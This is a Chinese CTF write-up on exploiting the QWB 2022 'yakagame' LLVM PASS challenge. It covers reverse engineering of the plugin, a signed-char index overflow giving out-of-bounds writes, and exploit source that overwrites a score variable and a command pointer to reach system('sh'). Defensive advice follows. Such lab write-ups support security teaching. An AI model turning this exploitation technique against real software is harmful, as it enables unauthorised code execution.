LLVM PASS PWN (三)
字数 1340 2025-08-26 22:11:40
LLVM PASS PWN 漏洞分析与利用教学文档
1. 背景介绍
LLVM PASS PWN 是一种针对 LLVM 优化器插件 (PASS) 的漏洞利用技术。本教学文档基于强网杯2022 yakagame 题目,详细分析 LLVM PASS 中的漏洞及其利用方法。
2. 题目分析
2.1 题目文件
opt-8: LLVM 优化器工具 (版本8)yaka.so: 自定义的 LLVM PASS 插件readme.md: 说明文件,给出运行格式:opt-8 -load ./yaka.so -ayaka ./exp.ll
2.2 PASS 工作机制
PASS 会重写 runOnFunction 函数,对特定函数进行优化处理。本题中 PASS 主要处理 gamestart 函数。
3. 逆向分析
3.1 关键函数分析
3.1.1 fight 函数
- 需要至少一个参数
- 从
weapon_list中取出对应索引的值与boss比较 - 大于等于
boss则获胜并获得分数 - 小于
boss则失败
3.1.2 backdoor 函数
- 当
score > 0x12345678时调用 - 使用
system(cmd)执行命令 cmd经过异或、加减运算,初始为乱码
3.1.3 其他功能函数
-
merge:
- 两个参数
- 取出两个参数对应的
weaponlist值并相加
-
destroy:
- 一个参数
- 将对应
weaponlist的值设为0
-
upgrade:
- 一个参数
weaponlist中每个值都加上参数值
3.1.4 未知函数处理
- 遇到未知函数名会存入
funMap - 函数参数会被放入
weaponlist中 - 相同函数名多次调用不会重复添加,只会更新对应位置的值
- 函数名遍历按名称排序进行
3.2 漏洞点
关键漏洞位于索引处理部分:
v33 = /* weaponlist index */; // 有符号char类型(-128~127)
当 v33 为127时再加1会变为-128,导致负数索引,可实现数组越界访问。
4. 漏洞利用
4.1 利用思路
- 通过负数索引覆盖
score变量 - 将
score改为一个指向大数值的指针地址 - 利用
backdoor执行系统命令
4.2 利用步骤
4.2.1 准备函数
生成256个不同名称的函数来填充 weaponlist:
for i in range(128 * 2):
print('void z1r0{0:003}'.format(i) + '(int a){}')
print('z1r0{0:003}'.format(i) + '(0);')
4.2.2 计算偏移
score位于-0x10偏移处- 255对应-1,因此240对应-0x10
4.2.3 覆盖 score
将 score 覆盖为GOT表地址,使其指向的值大于 0x12345678
4.2.4 命令构造
直接构造 cmd 为"sh"字符串地址,通过ROP获取地址后执行 system("sh")
4.3 完整利用代码
#include <stdio.h>
// 基础函数定义
void fight(int a){}
void merge(int a, int b){}
void destroy(int a){}
void upgrade(int a){}
void wuxiangdeyidao(){}
void zhanjinniuza(){}
void guobapenhuo(){}
void tiandongwanxiang(){}
// 生成的256个函数
void z1r0000(int a){} void z1r0001(int a){}
// ... 省略中间部分 ...
void z1r0255(int a){}
void gamestart(){
// 初始函数调用
tiandongwanxiang(); wuxiangdeyidao();
zhanjinniuza(); guobapenhuo();
// 填充 weaponlist
z1r0000(0); z1r0001(0); /* ... */ z1r0127(0); // 0-127
z1r0128(0); /* ... */ z1r0255(0); // -128--1
// 关键覆盖
z1r0232(0xbd); z1r0233(0xa4); z1r0234(0x6e); // 修改cmd
z1r0240(0xf0); z1r0241(0xde); z1r0242(0x77); // 覆盖score
// 触发
fight(0);
}
5. 总结与防御
5.1 漏洞总结
- 使用有符号整数作为数组索引导致越界
- 缺乏对索引值的边界检查
- 敏感数据(score)存储在可被覆盖的区域
5.2 防御建议
- 使用无符号整数进行数组索引
- 添加严格的边界检查
- 将敏感数据与可修改区域隔离
- 对关键变量进行完整性校验
6. 参考资料
- LLVM PASS PWN 分析文章
- LLVM 官方文档
- 强网杯2022官方题目资料